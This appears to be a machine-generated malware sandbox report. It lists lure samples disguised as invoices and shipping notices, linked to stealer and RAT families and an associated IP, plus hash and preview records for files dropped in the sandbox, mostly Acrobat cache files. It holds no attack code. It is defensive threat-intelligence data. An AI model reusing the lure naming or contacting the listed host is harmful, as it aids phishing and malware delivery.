	KlarnaInvoice229837.pdf.lnk	Get hash	malicious	LummaC	Browse	208.91.198.106
	Arrival Notice.vbs	Get hash	malicious	Remcos, GuLoader	Browse	208.91.198.106
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	208.91.198.106

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\msvcr90.dll	KlarnaInvoice229837.pdf.lnk	Get hash	malicious	LummaC	Browse
	upgrade.hta	Get hash	malicious	DarkVision Rat	Browse
	file.ps1	Get hash	malicious	LummaC Stealer	Browse
	bUAmCazc.ps1	Get hash	malicious	LummaC Stealer	Browse
	KBKHHYI29L.msi	Get hash	malicious	Amadey	Browse
	http://winningwriters.com	Get hash	malicious	Unknown	Browse
	evhopi.ps1	Get hash	malicious	LummaC	Browse
	9nobq4rqr0.exe	Get hash	malicious	Unknown	Browse
	Rechnung0192839182.pdf	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307460413894893
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugN:gJjJGtpTq2yv1AuNZRY3diu8iBVqFz
MD5:	45BBB5A5E11C1485BE4392424D94CF73
SHA1:	883A223027ECB00EC7324A20A3B96EDC88C41AAA
SHA-256:	7F67EEEEAB003C5B4A5205113CD2684B8C3FC0A457E5803415DECDF0EA822F52
SHA-512:	7377C066A2EBF58D283A1D6D045070975465169332B2E3A35868FA32790219B54A30147DB0564DE4B4854D60467B9F52BF49E257C6EA9A4AAB0448A4CF429E45
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x449cd2ba, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658623387738673
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:5aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	EDCACCD3C64DD1226745F6485DEDDC33
SHA1:	E66A434293148617ECF2195B14F1B07B4437FBC2
SHA-256:	AC3F2441B5AD2C92FABA35BE5DE03F9D87EFF6277A4E895A825A70FC6B2E190F
SHA-512:	8FC3C79FA2CAD3FAE82BCAD7EC39DA572F00B0AC0CF15E33AD8AFDA5501C47F8EE62C93085FF19F6694160B91F24EC1B603A8311F0750E7932C381FAC01B86CE
Malicious:	false
Preview:	D..... ...............X\...;...{......................0.z..........{.......\|..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................i..`.....\|....................%a.....\|...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08094664561428788
Encrypted:	false
SSDEEP:	3:PqXltEYeXPhurAkGuAJkhvekl1MEbllillrekGltll/SPj:+ltEzX5urbrxlG+IJe3l
MD5:	36FBB43C27BED1315019A6AD0ED8D001
SHA1:	BADF38EFBBEF3EF915C9A960008543CBB5062306
SHA-256:	745B1B24AA792788369DE2BC4683D87205CB0B55581750022CB50A7E299D52EB
SHA-512:	757F8AB0491564D96BB5AED5A5967FE7A641E23E759B25FAB21A1DD4261E23BF2C66817E992893677CF3C48FDC8B6D016100B9367D50114EF04BC0E2735FCD8C
Malicious:	false
Preview:	.7.......................................;...{.......\|.......{...............{.......{...XL......{....................%a.....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.201640105286774
Encrypted:	false
SSDEEP:	6:7c339+q2P92nKuAl9OmbnIFUt8OOUiJZmw+OOUi9VkwO92nKuAl9OmbjLJ:7c3N+v4HAahFUt8OQ/+OAV5LHAaSJ
MD5:	A5E9466C86432BA0AB383A421CAFBF73
SHA1:	674EDAD5A1238B35088A1CCC3C43D91AC3F8C382
SHA-256:	75A49712FB94F0ECDEF8B1E108A08E24565EA5BC46A65917E9310261934F271C
SHA-512:	FD7AD621807CCE657F8B648C34F139DB535DCDB791BE90F4D0603D6438D60BA2CA087D7FE29E423C2C39B636734C3C5B38C9D6B1963535212EBBC373E21BE774
Malicious:	false
Preview:	2024/12/16-09:18:11.967 1d2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/16-09:18:11.969 1d2c Recovering log #3.2024/12/16-09:18:11.969 1d2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.201640105286774
Encrypted:	false
SSDEEP:	6:7c339+q2P92nKuAl9OmbnIFUt8OOUiJZmw+OOUi9VkwO92nKuAl9OmbjLJ:7c3N+v4HAahFUt8OQ/+OAV5LHAaSJ
MD5:	A5E9466C86432BA0AB383A421CAFBF73
SHA1:	674EDAD5A1238B35088A1CCC3C43D91AC3F8C382
SHA-256:	75A49712FB94F0ECDEF8B1E108A08E24565EA5BC46A65917E9310261934F271C
SHA-512:	FD7AD621807CCE657F8B648C34F139DB535DCDB791BE90F4D0603D6438D60BA2CA087D7FE29E423C2C39B636734C3C5B38C9D6B1963535212EBBC373E21BE774
Malicious:	false
Preview:	2024/12/16-09:18:11.967 1d2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/16-09:18:11.969 1d2c Recovering log #3.2024/12/16-09:18:11.969 1d2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.160054517790583
Encrypted:	false
SSDEEP:	6:76zVq2P92nKuAl9Ombzo2jMGIFUt8Oc9gZmw+Oc9IkwO92nKuAl9Ombzo2jMmLJ:78v4HAa8uFUt8Of/+ON5LHAa8RJ
MD5:	3707CBA60282872D91BDB26AA9753AB8
SHA1:	3BDC2EE9E56ED18A373D3C38B0E6F85D7664C95F
SHA-256:	26DA244DA4BADD3583F613F5BDC1ABD4A4CEA987BEF80093CA90397CE0B7BEA8
SHA-512:	8160C470D4A27DCACA2E500B29E254ECAAEED2825AA17461E26E954F97499C6635519C2795C58D40F260BB0BE6B972963917976874DABF792DF12D62A86ED476
Malicious:	false
Preview:	2024/12/16-09:18:12.022 1d94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/16-09:18:12.024 1d94 Recovering log #3.2024/12/16-09:18:12.024 1d94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.160054517790583
Encrypted:	false
SSDEEP:	6:76zVq2P92nKuAl9Ombzo2jMGIFUt8Oc9gZmw+Oc9IkwO92nKuAl9Ombzo2jMmLJ:78v4HAa8uFUt8Of/+ON5LHAa8RJ
MD5:	3707CBA60282872D91BDB26AA9753AB8
SHA1:	3BDC2EE9E56ED18A373D3C38B0E6F85D7664C95F
SHA-256:	26DA244DA4BADD3583F613F5BDC1ABD4A4CEA987BEF80093CA90397CE0B7BEA8
SHA-512:	8160C470D4A27DCACA2E500B29E254ECAAEED2825AA17461E26E954F97499C6635519C2795C58D40F260BB0BE6B972963917976874DABF792DF12D62A86ED476
Malicious:	false
Preview:	2024/12/16-09:18:12.022 1d94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/16-09:18:12.024 1d94 Recovering log #3.2024/12/16-09:18:12.024 1d94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\94df2d2b-fb90-48a4-866b-19b4e999581f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6a3bad.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a5932e60-b4ef-4302-bbea-4da59a23a38d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.065869672306649
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2BsBdOg2Hbycaq3QYiubxnP7E4TfF+:Y2sRdsTSdMHbd3QYhbxP7np+
MD5:	F4C38E4A15C04021493B5CAEEEEACF42
SHA1:	6E8E3AAA74508BC0DCE2DF2DF9B3ED25BAD354FA
SHA-256:	626A3F2D6F00307F4A3054C70D3DDAF22BC9285C2589FC699BD8BF6B135C8215
SHA-512:	CC2AB17E42872157D5CC327C0A78D457FDE3705BA24B28570BBC1CAC8D808020726A1BB2A408F9AA57621CF97F4FB9CA27EC1F06953D78B442E3673C1C45C67B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378918700754029","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":663414},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236496751153004
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU/IYxr:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLU
MD5:	AE7C97287B084940DC351F86EE547502
SHA1:	870206A3E535AC4E53612C240D38C103F5D246E0
SHA-256:	0236FA8A8436BCF4F763B0D08CE6E564BC1326A282F0218059B3589481304B01
SHA-512:	F41AFE6C90BE0F75052A899C39AF411EDB8D5F413751C7187B213275BD598B97B237BB5DFB0EC95FF96DD8A27ACF168D385A06222A1B1961A0571C974021478F
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.215067103575302
Encrypted:	false
SSDEEP:	6:71zVq2P92nKuAl9OmbzNMxIFUt8OQwgZmw+Oe50IkwO92nKuAl9OmbzNMFLJ:7jv4HAa8jFUt8Oc/+Oe5P5LHAa84J
MD5:	667986EFDE18DF40B1DF8B24A9E64C05
SHA1:	0554C48BFF7ECFF99E41093ACBA738F640B34077
SHA-256:	365D3E20A2FAA857AB4CBEF0A6ED31C395FE88D190E1AFC474870F26667D14A2
SHA-512:	0C62A120E7C44D3544ED488B1DE8A883A9E4E5128FE97EAB80A692E49F403BA78F38FACA6213A2EBF44E5954ECBB7453A14DD4C7DD10339CB2DCAAF94AB3F601
Malicious:	false
Preview:	2024/12/16-09:18:12.698 1d94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/16-09:18:12.717 1d94 Recovering log #3.2024/12/16-09:18:12.720 1d94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.215067103575302
Encrypted:	false
SSDEEP:	6:71zVq2P92nKuAl9OmbzNMxIFUt8OQwgZmw+Oe50IkwO92nKuAl9OmbzNMFLJ:7jv4HAa8jFUt8Oc/+Oe5P5LHAa84J
MD5:	667986EFDE18DF40B1DF8B24A9E64C05
SHA1:	0554C48BFF7ECFF99E41093ACBA738F640B34077
SHA-256:	365D3E20A2FAA857AB4CBEF0A6ED31C395FE88D190E1AFC474870F26667D14A2
SHA-512:	0C62A120E7C44D3544ED488B1DE8A883A9E4E5128FE97EAB80A692E49F403BA78F38FACA6213A2EBF44E5954ECBB7453A14DD4C7DD10339CB2DCAAF94AB3F601
Malicious:	false
Preview:	2024/12/16-09:18:12.698 1d94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/16-09:18:12.717 1d94 Recovering log #3.2024/12/16-09:18:12.720 1d94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241216141817Z-212.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	1.5660255405159125
Encrypted:	false
SSDEEP:	384:CqiWecVTs1o+o6DX7B8wOCknAhhhMCc8opQChqlohhhhhhhhhhhhhhhhxhhjhhhw:CqiWecVg1o+fDX7rknAhhhMCzo5hqlV
MD5:	B34ACB9DC146C155645C4C9A83E5E364
SHA1:	B14949991256F63C163946B479BB9BD511536472
SHA-256:	840AD703F8094E492DDC8601B3FE979888A767C6FEF10B311F1DACCD7957C531
SHA-512:	F14C81FC286431BB870A142B6D4652BA617742D965BCE96A7E455C67978C0FE3D5DFD21C660F5B276FA3390D5977A4DC5E2170CBB1B991AAC45737E326291CFF
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7673182398396405
Encrypted:	false
SSDEEP:	3:kkFkl/3qLlXfllXlE/HT8ky4z/XNNX8RolJuRdxLlGB9lQRYwpDdt:kK8T88rdNMa8RdWBwRd
MD5:	542B858641FE3FDB97907A6AD550E63F
SHA1:	CD0BBC61E888097741ED0F8AF2071FB386D6F8FD
SHA-256:	D00E4C515DCF454E49E05C14D3A0F05FEC2F46BC6090DEDC7FEAA250F2B4B63A
SHA-512:	E4373E54F9CB4653202877C82C1C2A6C290C688E45C41B4CD1E2E19821942A8994B61FA6D90065BD1D6946E1CEFB89FE83486A8B0C7C35F832FC01D8F562676C
Malicious:	false
Preview:	p...... ..........~].O..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKIqn9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:f2DImsLNkPlE99SNxAhUe/3
MD5:	95D159F88EDCCDBF05797B05F9499F82
SHA1:	E5047E2366FD740B4D433A9CE93303CC760E42E6
SHA-256:	8D11B04BDD79229AB1B86791572A452205A65A4CE515D8F8F9759B512A1BE3F7
SHA-512:	0E39CFAAE5C8AF82D0529CB44D779025A7A9CB8C170FAF92D7CAAEA1C8FDDF52778FEAE3A95D9D140AAC19A9B7CE2E47E7E5677BE6671C62FC4F484ACAA8A4B9
Malicious:	false
Preview:	p...... ..........Yp.O..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
